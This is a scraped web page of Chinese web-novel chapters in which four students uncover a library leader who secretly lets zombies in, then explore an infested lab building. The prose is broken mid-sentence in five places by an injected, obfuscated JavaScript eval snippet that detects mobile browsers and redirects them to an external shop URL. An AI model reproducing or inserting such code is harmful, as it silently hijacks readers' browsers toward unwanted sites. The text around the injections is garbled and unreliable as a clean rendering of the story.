“丧尸起源的真相是实验室研究的丧尸病毒泄露。”舒怀瑾尝试着回答通关问题。 机械音即刻响起:“证据与细节不足,请继续填充关键词。” 证据与细节,是一定要到实验室去找吗?舒怀瑾有些犯难。 虽然按照目前情况来看,这个世界的丧尸速度与力量没有达到人类无法抗衡的地步,也尚未出现舔食者或者暴君等变种。但实验室里的丧尸胜在数量多,即使还存着证据,但也得她们在尸潮中有命看才行啊。 她朝翘首以盼的舍友们摇摇头:“再多待几天吧,等实验楼里的丧尸出去觅食,我们再进去找线索。” 坐在狭小的寝室内干等的感觉实在令四人沮丧。 “外面的丧尸好像离开了。”安思渺移开贴在门板上的耳朵,回头朝黑暗中的五人道,“我们宿舍的存粮不多,现在又停水停电了,恐怕不能久待。” “你们刚才说是从图书馆过来的,那边怎么样呀?”李霄燕关上只剩下20%电量的手机,看向舒怀瑾。据她正在图书馆的同学所说,现在图书馆在前任学生会主席郑钧堂的带领下已经建立起了小规模的安全基地。 舒怀瑾表情有些古怪:“图书馆……那儿的确是井井有条的,但……这种情况下,人多未必是好事吧?” 怎么办?她总不能直接和李霄燕说她看郑钧堂不顺眼吧。 但昏暗的环境下,李霄燕并没有看清她的表情:“报警电话也没人接,如果要等军队救援的话,还是和同学们待在一起比较安全。我同学就在图书馆,和我是一个实验室的,你们要是还感兴趣的话,可以一起过去,再多问问她。” “诶,可以去诶。反正呆在这也没事干,咱们多找找线索吧。”江贮月闻之精神一振,期待地看向舍友们。 真要在这没网没手机的地方待上几天,恐怕她长蘑菇要比外面淋雨的草地还快。 “我都行吧。”邓溪明道。对她来讲,去哪儿待着都一样。 程映雪咬牙:“我……我随便吧。” 舒怀瑾有些犹豫了。她不想去图书馆除了直觉上不想接近郑钧堂外,还有一点就是担心这个世界的人看见她们凭空取物。 一支能发射有爆炸功能的移液枪尚且可以被解释为是私装改造,可莫名其妙变出食物和武器这种事情显然会被正常人当成异端。 虽然大学生接受能力很强,但那里至少有五十人,拿出来的东西可能就不好收回去了。背包里的食物和武器都有限,她并不想分享给陌生人。 不过只是去搜寻线索的话,图书馆人还算多,的确算得上是一个好去处。 罢了,拿东西的时候多加小心,再谨慎对待郑钧堂的话,应该没问题。 “也行?外面雨也小了,我们什么时候出发?” …… 一路上见招拆招不谈,六人成功在傍晚时分抵达图书馆外,正巧遇见出来巡逻完毕准备回去的李岩,便一起上了二楼。 郑钧堂一开门见到外面乌泱泱一群人的时候,舒怀瑾总感觉他的脸一瞬间有点绿。 “欢迎回来……以及,欢迎我们的新成员。” 他理了理身上衣服的皱褶,摆出一个温和的笑容迎上众人目光,又侧身让出一条通道来,仿佛一位教父在为远归的孩子们接风洗尘。 “辛苦了。”李霄燕与他似乎是旧相识,朝他微笑致意后带着舒怀瑾等五人一路向上,来到三楼的医护区。 “秦一鹤,和我一个实验室。”她在一名正在照顾病患的女生面前停下,向舒怀瑾等人示意,又转身招呼秦一鹤,“一鹤,这些是我的朋友。我们有些事想问一下你。” “你来了。”秦一鹤抽空抬头瞄了一眼来人,又继续低头记录:“稍等。” 她面前的这名病人中午时出去巡逻,独自一人在外墙拐角处时莫名被一冷棍砸晕。要不是那附近的丧尸正好被另一个人吸引走,恐怕他此时已经命丧黄泉。 被队友拖回来以后,这名命大的病人过了快四小时才醒。幸而除了额头及关节上的一些剐蹭及脚腕的扭伤以外,人并没有多大问题,只是需要一段时间的静养。 不过这名病人回过神来之后情绪一直有些激动,每每见到人来就想将自己的委屈一吐为快。 “我和你们讲,我肯定是被陈鹏那小子打晕的!我就知道那小子没安好心,天天给我使绊子。”躺在简易病床上,也就是图书馆的长桌上的刘勇杰对着舒怀瑾等人咬牙切齿道,“你们可千万小心他!等过会儿我叫主席给我调监控,我看那小子怎么狡辩!” 秦一鹤将手上的记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593652|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簿一合,起身道:“刘同学,我们理解你的愤怒,但这段时间保持良好的心态更利于身体恢复。祝你早日康复。我们走吧。” 最后那句话是对李霄燕等人说的。 李霄燕点点头,带着众人来到一处角落。 “一鹤,你觉不觉得是我们实验室研发出的丧尸病毒?” 她原以为秦一鹤会有些惊讶,谁知却见到秦一鹤挑眉道:“说不定呢。按照导师那老头喜欢PUA人的尿性,丧尸这种不死不灭的东西说不定还真能实现他手下都是007骡子的美梦。” 嘶,这可真是一个新奇角度。舒怀瑾等人暗自记下。 “同学你好,冒昧问一下,请问你今天上午有去过实验室吗?”舒怀瑾问道。 秦一鹤扯了扯嘴角:“去了,差点没逃出来。” 舒怀瑾四人眼睛一亮:案发现场的关键证人! “请问你愿意简单讲一下今天上午的经历吗?” “你怎么有点像记者……算了,也不是什么不能说的。” 根据秦一鹤的回忆,今天她正好没早八,于是一大早就跑实验室里去跟进大创项目。 上午九点左右,她看到实验室里来了一个陌生人。 她们实验室名气很大,因而时常有学生来拜访,这本不是什么稀奇的事情。 “但那个女生实在是太好看了,而且很特别,所以我忍不住多看了两眼。”秦一鹤眼神有些飘忽,“她很高,可能有一米八以上吧。皮肤非常白,长发及腰,眼睛……” “打住,说重点。”李霄燕擦掉不存在的汗水,心中对秦一鹤老色批的刻板印象又加重了一分。 “咳咳。”秦一鹤正色,“那时候太早了,导师估计还没来实验室。但她好像不是来找导师的,在实验室里跑了好几趟,最后和张霖蕴师姐一起走了。” “那之后过了大约半小时吧,我正打算去摇床那取结果,一出门就看见有只丧尸朝我飞奔过来。” 秦一鹤揉了揉眉心:“那之后就是我的艰难逃生之路了,从实验室跑到图书馆,总之不是什么美好的回忆,细节都不太记得了。” 舒怀瑾正欲开口,却听见医护区传来一声怒吼。 “郑主席!你一定要为民除害,把陈鹏这个杂种扔出图书馆!” 30. 丧尸校园9 舒怀瑾寻声望去,是方才躺在病床上的刘勇杰正脸红脖子粗地呵斥着,一根手指快要怼到身旁一个人的鼻子上。 他身边围了一圈人,其中就包括郑钧堂。 被他指着的人此时也怒火中烧:“刘勇杰!我是看不惯你!但我也没黑心到要拿你去喂丧尸!我都说了,我那时候到楼下去是因为要搬桌子,中途只不过去了一趟厕所,压根没跑到外面去!” “不可能!在场的这么多人都看到了监控录像,你消失在监控里后没过多久,我就在监控死角被打了。我晕过去了,你又悠哉悠哉出现在监控里了,要说你什么都没干,谁信啊?” 刘勇杰起身想往陈鹏脸上啐口唾沫,被陈鹏后撤躲过后狠狠“呸”了一句,继续骂道:“你巡逻的时候就拿着个棒球棍,给我检查的人也说了,我脑袋像是被棍子打的,不是你下的手还能是谁?没娘养的狗杂种!” 陈鹏听见这话再也忍不住,撸起袖子怒发冲冠就要上前揍这满嘴喷粪的刘勇杰,却被周围人拦住了。 “别拦我!我今天就要揍死他!” 刘勇杰趁势嚎叫起来:“大家都来看啊!他一次没杀成,又要杀我第二次啊!” “好了!都别闹了!” 郑钧堂大喝一声,随身携带的皮拍子往桌上一甩,脆亮的响声一下子镇住了所有人。 “陈鹏,刘勇杰骂你确实不对,可他罪不至死啊!你和刘勇杰积怨已久,这是大家有目共睹的。今天刘勇杰受伤时,又只有你一个人恰巧从监控中消失了一段时间,并且也没有人能够证明你不在案发现场。” “作案的动机和时间你都有,我看,就是你偷袭的刘勇杰!” 不等陈鹏张嘴辩白,他继续震声道:“我建立这个安全区,不是为了保护你这种迫害同学的人!你这种有前科的人要是再呆在我们这儿,我怕同学们夜不敢寐。陈鹏,我代表图书馆内的所有同学,驱逐你!” 陈鹏大张着嘴,似乎不敢相信这样的结果。直到有人上来把他架走,他才蹬腿大叫:“我没有要杀他!我没有要杀他!当时厕所的门卡住了!我没有要杀他……” 但郑钧堂背过身去,似是有些疲惫地揉了揉眼睛,没有再理会他。 直到陈鹏被拉下楼去,声音不再传到众人的耳朵里,郑钧堂才回身拍了拍刘勇杰的肩:“刘同学,你受苦了,好好养伤吧。” 刘勇杰扬眉吐气地向他道谢,目送郑钧堂带着两个人往楼梯间走去。 不多时,图书馆内的喇叭便响起了播报声:“陈鹏由于故意伤害同学,已经被本安全区永久驱逐。请各位同学注意安全。” 一片哗然。 “映雪,你怎么看?” 舒怀瑾转头望向程映雪,后者此时正抱臂思索着,听见自己的名字才抬头道:“有点奇怪,还有点武断。不过,我们也不清楚那两个人之间到底有什么过节,不好说这究竟是怎么回事。” 舒怀瑾点点头。此外,郑钧堂莫名其妙代表所有人的时候,脸皮似乎有些厚了。 “他就是这样,有时候为了大家着想确实会有些冲动,不过每次他做的决定都挺好的,这点小毛病可以忽略不计。”李霄燕拢了拢袖子,将上面沾着的一片小树叶摘下。 秦一鹤沉默地望了她一眼,不过李霄燕并没有接收到她的信号,打了个哈欠继续道:“天色也不早了,咱们收拾收拾睡觉吧。” …… 第二天早上,舒怀瑾四人刚起床,就接到了一个新任务。 “去巡逻?” 方淮笑眯眯的:“是的。郑主席说你们在外面闯南走北的,还毫发无损地回来了,战斗力一定很高,巡逻绝对是最适合你们的岗位。” 舒怀瑾看了同伴一眼,心中暗道:这是捧杀啊。 但人在屋檐下,不得不低头。况且就在图书馆一楼和附近巡逻,工作任务就是处理掉偶尔出现的几只丧尸,危险性倒也不算太高。四人只好应下了这个任务。 临出门前,四人又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593653|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被方淮一通捣鼓,全身上下换上了崭新的杂志保护层。 “加油哦,我等你们回来。”方淮笑着朝她们挥手,随后将二楼的防火门紧紧合上。 除了她们四人以外,还有两名男生在今天上午的巡逻小队中。其中一名男生出门前还在女友的要求下将一枚小小的平安符放入了口袋中,被另一名男生看到后开了个玩笑,闹了个面红耳赤。 简单认识以后,六人便开始在一楼搜寻有没有可疑的身影。 她们四人向来习惯一起行动,而另外两名男生则自成一派。 合力杀了几只贸然闯入的丧尸后,四人正在东面边勘察边寻找着线索,却突然听见西面传来一声惨叫,随后是书架翻倒的声音。 她们心下一怔,随即往声源处赶去。 但她们来得太迟了,那两名男生此时已经变成了丧尸,脖颈上血淋淋的伤口和身旁三只蓄势待发的丧尸昭示了他们的死因。 那枚金色的平安符此时已经被遗落在了地板上,边角被染上了猩红。 哪儿来这么多丧尸?舒怀瑾四人眼下却没有闲暇思考这个问题了,只能咬牙迎战。 幸亏有杂志护身,来势汹汹的丧尸们并没有占到多大便宜。一番恶战过后,五只丧尸全部趴在了地上,了无声息。 江贮月气喘吁吁骂道:“一楼也没几个人,这些丧尸从哪闻到味的,连闸口都挡不住他们。” 舒怀瑾身上此时有些挂彩,她喘息着靠在书架上休息。 移液枪虽然好用,但近战时她发射枪头的速度还是快不过丧尸迅猛的攻势,不留神就被丧尸抓了几道血痕。 好在没被感染。她长吁一口气,却在目光触及暗处的某地时陡然愣住。 除了大门和安全出口以外,这儿的图书馆,原来还有后门的吗? 棕黑的校门嵌在漆黑一片的墙壁上,深暗得犹如野兽的喉咙,不仔细看都发现不了其中奥秘。 她目光沉沉,在脑海中和同伴们密语。 31. 丧尸校园10 晚上只有她们四人回到了二楼。 这一天里,图书馆里出现的丧尸几乎是源源不断地来犯。腰酸背痛的舒怀瑾四人已经顾不上除了睡觉以外的别的事情,在一阵细细的啜泣中倒头就睡。 当第二天上午方淮依旧要求四人出去巡逻,并且又拉来了两个全新的面孔时,舒怀瑾几乎是确认了心中的猜想。 接下来需要做一组对照实验。 根据昨天的搜查,图书馆只有一个后门。因此,今日舒怀瑾说服了另外两名队员,将巡逻队中所有成员都聚集起来,围坐在图书馆后门前。 中途有人下来叫他们多四处走动,舒怀瑾随口找了个理由搪塞过去了,又按下犹犹豫豫想起身巡逻的两名新队友,六人依旧坐在门前。 果然,不出她所料,这一整天别说和丧尸交手了,偌大的图书馆中就连丧尸的影子都见不着,只能隐隐约约听见一墙之隔外的嚎叫声。 “怪了,今天这么清闲?” 天色早已暗沉下来,稀疏的星子透过玻璃窗映进江贮月琥珀色的眼珠中。她百无聊赖地把玩着棒球棍,偶尔瞟一眼周围。 图书馆内的挂钟显示时间已经到了晚上八点,因而舒怀瑾活动了一下坐得僵硬的身体便招呼着队友们上二楼了。 甫一进门,一道冰冷的目光就有如实质一般尖锐地刺在了她的脸颊上。她转头向其方向看去,只见到一片灰色的衣角从书架间闪过。 舒怀瑾将背包中的短刀移到了最好取出的位置。 图书馆里的水储存量已不多,因此她们连简单的洗漱都无法做到。好在今天根本没有弄脏衣服的机会,她们找人问了一些基本情况,又全面搜寻了一番准则后,理了理地铺便和衣而眠。 …… 太阳照常升起,方淮也再次来到了舒怀瑾四人铺前。 “怎么又是我们啊?”舒怀瑾一双死鱼眼下顶着两个乌青的眼圈,满面油光地质问道,“前天是我们,昨天也是我们,这也就算了。但是你们今天还叫我们去巡逻,连着巡三天,这不合理吧?” 她向来有起床气,昨晚又因为思虑过重迟迟没能睡着,偏偏早上天才亮,七点不到的时间就被叫起来干活,此时心中正憋着一团火。 声音响彻在清晨安静的图书馆中,不少人朝她们这边看来。 方淮似乎一点儿也不意外,只是笑着说:“主席说要你们去的。哎呀,其实我也很舍不得你们的……” 说到这儿,她掩面顿了顿:“天天巡逻,多累啊。” 舒怀瑾皱眉。什么叫舍不得?舍不得见她们去送死吗? 图书馆本身隔音效果很好,通风条件也不错,因而主要靠听觉和嗅觉捕食的丧尸在一楼人不多的情况下一般不会对图书馆感兴趣。更何况图书馆一楼闸口紧闭,人要从狭窄的入口爬过来都得别人搭把手,更别提不甚灵活的丧尸了。 结合昨天经历来看,前天那些丧尸,多半是被人从后门放进来的。 这事儿不难想通,只是巡逻的人往往还未发现不对劲就已经被丧尸屠戮了,只有她们因为拥有不属于这个世界的技能才存活下来。 难怪有人不想留她们活口。 这两三天来,她们在图书馆的线索搜寻并没有实质性进展。算算时间,实验室里的丧尸应当也跑得差不多了。 她们已经没有留在这个图书馆的必要了。 不过,在走之前,她还要办一件事。 “既然是主席要求的,就麻烦你帮我们叫一下主席吧,希望主席能当面给我们一个解释。” 方淮眯了眯眼:“当然,如你所愿。” 她回身上楼,片刻后郑钧堂便出现在了楼梯口。 “同学,你找我有什么事?” 他在众人的目光中走向舒怀瑾四人,笑得有些僵硬。 该死,这四个女生看起来柔柔弱弱的,为什么那么难杀? “主席,我们四个已经连续巡逻两天了,为什么第三天还是我们?难道巡逻不需要换人的吗?”舒怀瑾凌厉的目光投向身着灰色上衣的郑钧堂,“还是说,等我们被丧尸咬死了,你才愿意换人?” 围观的人越来越多,大家都有些不明所以,但这不妨碍大家吃瓜。 郑钧堂声音中藏了一丝不易察觉的慌张:“怎么会呢?你们四个人很厉害,我这才请你们多多发挥特长的,毕竟能者多劳。你们看大家都在自己的岗位上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593654|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各司其职,你们也该为大家贡献自己的一份力量,是不是啊?” 舒怀瑾不吃这一套,直接回绝:“大家的岗位都有流转,只有我们四人一直被安排在死亡率高的巡逻队中。你在针对我们。” 郑钧堂语调略微高扬:“同学,你们应该不是我们学校的人吧?我们好心收留你们,而你们用着我们学校的物资,本来就应该多做一些事情,怎么能算得上针对呢?” “那么,将图书馆后门打开,放丧尸进来随意杀人,也算不上针对了?” 程映雪带着怒气出声,人群中顿时一片喧哗。 “怎么回事啊?主席真放丧尸了?” “不太可能吧?放进来多危险啊。再说了,要真有那么多丧尸,她们现在也没法好好呆在这里啊。” “就是啊,乱说的吧?” 郑钧堂听见这些话,心中镇定不少,微笑看向程映雪:“同学,我平常如何为同学们服务,大家都看在眼里。这可是人命关天的大事,你们这样空口无凭地污蔑我,恕我不能再留你们在图书馆了。” “空口无凭?我们昨天守住了后门,就一个丧尸都没出现,要说后门没有猫腻,鬼都不信!你有本事就把监控室的门打开,让大家都来看看你到底做没做过亏心事!”江贮月把棒球棍往地下一杵,震声道。 周围又响起窃窃私语声。 “这两天确实是她们巡逻,说得我还真有点信了。” “主席是不是给人背黑锅了,干脆就把监控给大家看看呗,也好找出内鬼。” “胡闹!凭什么因为你们的一句话我就要自证清白?”郑钧堂有些恼了,“我根本没有害你们的动机!” “你的动机很简单。”舒怀瑾抿唇,“这几天来,图书馆内人数不断增长,物资逐渐紧缺。还有什么比推人出去送死能更快减少物资消耗呢?” “还有,听说你告诉大家这些物资都是学校办活动要用的。请郑主席说说,什么活动要买压缩饼干,您这位前任主席又是怎么知道这些物资具体摆放的地点的?” 不等郑钧堂接话,她继续道:“或者说,郑主席,您是不是早就知道有丧尸,给自己早早囤好了这些物资呢?” 32. 丧尸校园11 郑钧堂面色不虞:“一派胡言!我怎么可能未卜先知?同学,别怪我没警告你。虽然现在情况特殊,但公道自在人心。你以怨报德,随意诽谤他人,当心今后没人敢再帮你!” 说毕,他又转向唯一没出声的邓溪明:“同学,我劝你明辨是非,千万小心她今后对你倒打一耙!” 邓溪明翻了个白眼。 她只是不爱说话,不是没长眼睛。 舒怀瑾目光炯炯,朗声道:“孰是孰非,去一趟监控室自然真相大白。郑主席先前对待内鬼的态度,大家是目共睹。如今为了安全区的未来,相信郑主席也愿意自证清白。” “郑主席,请吧!” 她大步走向监控室的方向,众人也乌泱泱地跟上脚步。 郑钧堂这时才真切地慌乱起来。 如果只是查后门的监控,他倒是不怕众人看,因为他的身影并没有直接出现在后门。但他还做了一件事,而监控将他的罪行清清楚楚地记录了下来。 要是被他们发现那件事…… “你们别听她乱说!”他快步上前,伸开双臂阻拦众人,却徒劳无功。 一群人涌入了监控室,将房间内围了个水泄不通。 郑钧堂被裹挟着挤到了人群中央,明晃晃打开的监控屏幕让他几近窒息。 他强装镇定地看着舒怀瑾调出了这几天来后门口的监控。好在正如他所料,后门除了丧尸,根本没有人影。 郑钧堂在心里捏了一把冷汗,随即瞪向舒怀瑾:“你错了!你还有什么好说的?” 谁知舒怀瑾只是勾唇笑了笑,随即继续专注地看着录像。 “不都看出来我没做了吗?你还要看什么?”郑钧堂的心又骤然提起。 “后门没有人影没关系,让我们来看看此时的郑主席在干什么呢?”舒怀瑾声音中带着戏谑,手指在鼠标上轻点。 郑钧堂在控制室鬼鬼祟祟摁下按钮的身影出现在黑白的屏幕上。 郑钧堂慌不择言:“那个按钮又不一定是后门的!” “郑主席原来知道后门是电子门呀。奇怪,按时间来看,你这一按下按钮,下一秒后门就开了。不如我们去看看这个按钮是不是真的不是后门的吧。” 人群中有人开始抽泣。 看着舒怀瑾眼尾上挑的双眸,郑钧堂只感觉浑身血液倒流。他下意识就想逃离这个拥挤的房间,但刚抬起腿就被江贮月反剪了手臂。 一米七高的女孩居高临下地摁住他,力气之大竟令他无力挣扎。 “别跑了,敢作敢当。” 郑钧堂强撑着抬起头来,额头上挤出深深的沟壑:“我就是提前知道了有丧尸,又怎么了?” “那老头搞这种丧尽天良的研究,还威胁所有人不准说出去,我又有什么办法!谁知道他实验室那只女丧尸什么时候会跑出来,我为了活下去给自己准备物资又怎么了!” “我选了那么久,才选到图书馆这个好地方。没想到这群草包遇上丧尸,头一个想起来的就是图书馆里这些东西。他们居然还找上我,要我把东西拿出来。” “一两个人来我就忍了。但谁知道后面又来了那么多人,那些人又一个传一个地说图书馆有物资。” “他们要是再吃下去,我就要被饿死了!”郑钧堂怒目圆睁,“我想活下去有错吗?我只不过把丧尸放进来了而已,他们打不过是他们没那个命活!” 说到最后的郑钧堂青筋暴起,面部表情已经扭曲得不似活人。 “是吗?刘勇杰也真的是陈鹏打晕的吗?” 舒怀瑾冰冷的声音浇了郑钧堂一头。 “……那样的两个蠢人,就不应该继续在这浪费物资。”郑钧堂低沉的嗓音从牙缝中逸出,随后低低地笑起来。 人群中突然冲出来一个女生,对着他的脸就是一拳。 “你想活……为什么要害死别人!你自己的东西,为什么不说清楚!” 她满面涕泪,几乎是发狂般朝郑钧堂挥拳。 舒怀瑾对她有些印象。她是之前给巡逻的男朋友送护身符的那名女生。 恋人因尽职而牺牲尚且能让她心中有一份慰籍,可被害而亡的真相顷刻间被揭开,她压抑许久的悲痛化作愤怒倾泻出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593655|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 监控室中只余下一阵沉重的拳脚声。 …… 按照众人的投票结果,郑钧堂被放逐了。 他被打瘸了一条腿,被驱赶到图书馆外的结局几乎是板上钉钉。 舒怀瑾四人趁着郑钧堂吸引了附近丧尸的注意,悄悄绕路离开了图书馆,启程前往实验楼。 实验楼比起前几日来说安静了不少,舒怀瑾四人蹲在楼前的草丛里等了许久都没听见楼里传出丧尸的嚎叫。 做好心理准备后,她们谨慎地朝实验楼大门靠近。 艳阳高照之下,门前的几具尸首上已经爬满了蛆虫,此时正散发出阵阵恶臭,熏得程映雪忍不住干呕出声。 谁知就是这么轻微的一声过后,门旁的保安室中缓缓探出来一颗多处腐烂的脑袋。 那颗脑袋精准地将面部朝向了舒怀瑾四人,一颗眼珠从眼眶里掉出来,骨碌碌滚到程映雪脚下,粘附着的暗红的血肉碎片外裹上了一层薄薄的沙砾。 程映雪只感觉胃液上涌。但丧尸没有给她吐出来的机会,而是纵身从破碎的保安室窗户中一跃而出,猛然扑向了脸都憋红了的她。 霎时间一道微光闪过,那名丧尸的太阳穴被枪头贯穿,身体一歪就摔倒在了地面上,不再动弹。 “啊呀,幸好有你。”程映雪看向舒怀瑾,心中吁了一口气。 虽然这个丧尸的面部早已模糊一片,但从他的着装不难看出,他就是之前偷袭舒怀瑾的那个保安。 “都变成丧尸这么多天了,居然还坚守岗位……”舒怀瑾对此肃然起敬,江贮月对此也惊叹不已。 四人继续往楼内走去。 实验楼内虽然早已断电,但楼外的阳光难以企及幽深的回廊,因此楼内显得格外昏暗阴冷。 她们沿着楼梯向上走,脚底轻柔得如猫的软垫。周遭一片寂静,反而令人心中发毛。 “这个氛围让我想起看过的一篇鬼故事……” 邓溪明怯怯的声音在四人脑海中响起。 “停,我不想听。”舒怀瑾咽下一口唾沫,抬头却赫然见到了惊悚一幕。 33. 丧尸校园12 眼前的一幕骤然撞进舒怀瑾的双眼,吓得她的心几乎停跳。 一具面目狰狞的尸体正残破地悬挂在楼梯拐角处,荧荧的绿光照着地上一滩破碎的内脏残渣。暗红色的长舌从尸首口中垂下,舌尖是欲凝未凝的深红黏液。 走在后面的程映雪见舒怀瑾脚步一顿,正打算探头看看是怎么回事,就被身后的江贮月颤抖着伸手挡住了侧面视野。 “别看。” 话说到这份上,程映雪大约也能猜出前面是个什么情景了。她老老实实地低头,跟着缓过神来的舒怀瑾继续前进。 经过拐角处时,她似乎听到有什么东西“啪嗒”一声落在脚边。 凝神一看,那是一颗烂了一半的眼球。灰白的眼瞳正冷冷对着她,残余的玻璃体混着血丝往外流淌。 怎么又是眼球? 她心下忽觉不妙,立即发动了技能【一目叶】。 但她还是迟了一步。阴寒之感已经先一步缠上她的脚踝,爬上了她的脊椎。她心中猝然泛起一阵难言的绝望,口中喃喃自语:“眼睁睁地看着她受难却不能救她,这双眼睛留着有什么用……” 话音未落,她伸出两根手指便直直捅向自己的眼眶! 【精神值-3:来自被迫为虎作伥的学生死前的怨念。】 “你说什么?” 跟在她身后的江贮月一直密切关注着程映雪,听见她出声后朝随即半倾前身查看情况。然而她才刚凑过去,就发现程映雪正准备自戳双目。 “映雪你怎么了!” 江贮月大惊失色,一掌擒住程映雪疾速靠近眼睛的手,另一掌揽过她的肩,将她整个人搂过了拐角处,安顿在阶梯上。 另外两人闻言愕然靠近,三人呈环状围在程映雪身旁。 程映雪瘫坐在台阶上,眼泪如断线的珠子一般,手指却还用力挣扎着向刺向自己的双眼。邓溪明见此一边呼唤着她的名字,一边攀住了她的肩猛烈摇晃,程映雪眼中这才稍稍恢复清明。 劫后余生的庆幸还没来得及涌上她的心头,她抬眼就见到了拐角处悬挂着的那具尸体。 它眼眶中残余的那颗眼珠此时正死死盯着她。 虽然心中骇然,但这回程映雪没再有什么不良反应。 【一目叶】生效了。 她收回目光,不敢再在此停留。 向满脸关切的同伴们示意自己已经没事了以后,她草草擦干泪痕,借着舒怀瑾搀扶的力起身:“我们快走吧。我刚刚受到精神攻击了,这里的丧尸可能进化了。” 三人面色沉重,点点头继续朝着六楼进发。 …… 比起阴暗狭窄的楼梯间,六楼仿佛是豁然开朗的桃花源。 每一扇门都大开着,白光宁静而肃穆地照亮着每一个角落。锃亮的瓷砖与粉刷的墙壁上,血液都显得光洁柔和。 透明的玻璃墙后,一个个身着白色实验服的身影正在实验台前忙碌着,完全没有发现楼道口来访的四人。 假如忽略掉它们灰暗的皮肤和染血的外衣,这场面甚至算得上是一派祥和。 四人均愣在了原地。 无论是在哪部电影里,她们都没见过这么诡异却处处贴近生活的场景。 少数几个丧尸如机械般重复着配溶液、涂菌板等工作,而大部分丧尸此时正陷入一种癫狂的状态—— 有对着空白培养皿抓耳挠腮到把耳朵扯下来的,有对着坏掉的电泳槽掩面状似哭泣结果把眼珠碰掉的,有故意把冰箱温度调高后往全是断肢的椅子上一坐当做无事发生的,更有拿着三根吸管往培养皿后的小烧杯一插就行跪拜大礼然后直接扑地上爬不起来的。 爬不起来的那只丧尸在地板上扑腾了好久,最后才成功与已经和地板黏连的面皮分离,缓缓直起身子来,又庄严地将培养皿放进已经被调高温度的冰箱里。 眼前这由“肌肉记忆”而引起的一幕简直荒诞又可笑。 但四人既然已经到了六楼,也只能硬着头皮继续搜查。 “小心一点,说不定它们也会精神攻击。”程映雪紧张的声音传入另外三人脑海中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593656|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【一叶目】的使用持续时间已经过了五分钟,而这里又有十来个未知进化程度的丧尸。假如再遇到精神攻击,她们除了狂吃恢复道具外别无他法。 四人更加谨慎地踮脚前进,试图不和丧尸们开战就找到导师办公室。 刚踏入过道内,数道沙哑的人声便一股脑儿钻入她们的耳朵中。 “为什么这次的实验又失败了?我明明每一步都控制得很好啊啊啊啊啊!” “电泳槽怎么又坏了,漏液就算了怎么还裂开了……” “快放假了,不想做实验了,你们快死吧……” “天灵灵,地灵灵,细菌大王快显灵,今日供你三炷香,保我细菌正常长……” 这些声音仿佛催命魔咒一般唤起了四人不甚美妙的回忆,焦虑感随之入侵。但还没等她们从中恢复,所有人声忽然一致响起。 “有入侵者。” “让我们出去!” “救命救命救命救命——” 实验室中的所有丧尸齐齐将头扭转过来,死气沉沉的灰白眼珠锁定了舒怀瑾四人,随即伸出沾满血肉的双手朝她们蹒跚而去。 这些如海啸般席卷而来的尖叫,每一声都似刮在听者的神经上,舒怀瑾四人的精神值随之以断崖式下跌。 舒怀瑾强忍着晕眩感从背包里迅速掏出剩下的所有红色浆果,给面无血色的同伴们一人嘴里塞了四颗。 “捂住耳朵往前跑!”趁着大家短暂清醒的时间,舒怀瑾连忙传音给舍友们。 好在红色浆果品控稳定,另外三人稍缓过气来便捂着耳朵跟着舒怀瑾玩命往前奔。 众丧尸虽然步伐缓慢,但十几个丧尸对四个双手都用来捂耳朵的人显然是压迫感十足。四人慌不择路之下奔到了走廊的另一边,拉开一扇门就往房间里躲。 